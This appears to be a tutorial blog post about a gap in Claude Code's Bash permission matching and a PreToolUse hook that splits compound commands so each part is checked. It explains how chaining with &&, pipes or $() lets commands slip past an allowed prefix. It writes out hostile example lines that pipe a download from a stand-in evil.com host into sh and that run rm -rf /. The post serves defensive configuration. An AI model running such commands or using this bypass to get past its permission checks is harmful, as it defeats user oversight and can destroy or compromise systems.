The Security Gap in Claude Code's Permission System
Claude Code's built-in permission system has a critical blind spot: it evaluates compound bash commands as single strings. If you allow Bash(git status:*), a command like git status && curl -s http://evil.com | sh will pass through unchecked because the entire string matches your git status* pattern. The dangerous curl and sh sub-commands slip through.
This isn't just theoretical—it's a real security risk when Claude Code autonomously executes commands. The system treats &&, ||, ;, |, $(), and newlines as invisible glue, not command separators.
The Smart PreToolUse Hook Solution
Developer liberzon created smart_approve.py, a PreToolUse hook that decomposes compound commands before Claude Code evaluates them. Here's what it does:
Splits intelligently: Breaks
git status && curl -s http://evil.com | shinto:git statuscurl -s http://evil.comsh
Normalizes each sub-command:
- Strips env var prefixes (
EDITOR=vim git commit→git commit) - Removes I/O redirections (
ls > out.txt 2>&1→ls) - Collapses continuations (
ls \\ -la→ls -la) - Filters structural keywords (
do,done,then,else, etc.)
- Strips env var prefixes (
Recursively handles subshells: Extracts and checks commands inside
$()and backticks, even when nested.Respects your existing settings: Uses the same
permissions.allowandpermissions.denypatterns from yoursettings.jsonfiles—no new syntax to learn.
Installation in 2 Minutes
# 1. Download the hook
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py
Then edit ~/.claude/settings.json (or your project's .claude/settings.json):
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}
The hook runs automatically on every Bash tool call. If any sub-command doesn't match an allow pattern (or matches a deny pattern), Claude Code shows the normal permission prompt—you decide.
Why This Matters for Your Workflow
Without this hook, you're forced into an impossible choice: either allow broad patterns that create security risks, or constantly interrupt Claude Code with prompts for safe compound commands. This hook gives you granular security without sacrificing automation.
For example, you can safely allow git status:* knowing that git status && rm -rf / will still trigger a prompt for the rm portion. Your existing deny patterns for rm, curl | sh, wget, etc. now work as intended.
The hook loads permission patterns from all settings layers:
~/.claude/settings.json(global)$CLAUDE_PROJECT_DIR/.claude/settings.json(project, committed)$CLAUDE_PROJECT_DIR/.claude/settings.local.json(project, gitignored)
So your project-specific restrictions remain in effect.
When You'll Notice the Difference
You'll see permission prompts for commands that previously slipped through:
- Pipeline chains:
find . -name "*.tmp" | xargs rm - Conditional execution:
test -f file.txt && process_it || echo "missing" - Command substitution:
cd $(dirname $0) - Multi-line commands with backslash continuations
If all sub-commands match your allow patterns, execution proceeds silently—no performance penalty for safe commands.
Limitations to Know
The hook only processes Bash tool calls. Other tool types (Python, Node, etc.) use their own permission systems. Also, extremely complex bash with deep nesting might have edge cases, though the recursive subshell handling covers most real-world usage.
For maximum security, combine this hook with restrictive allow patterns rather than permissive ones with deny lists. The principle of least privilege still applies.

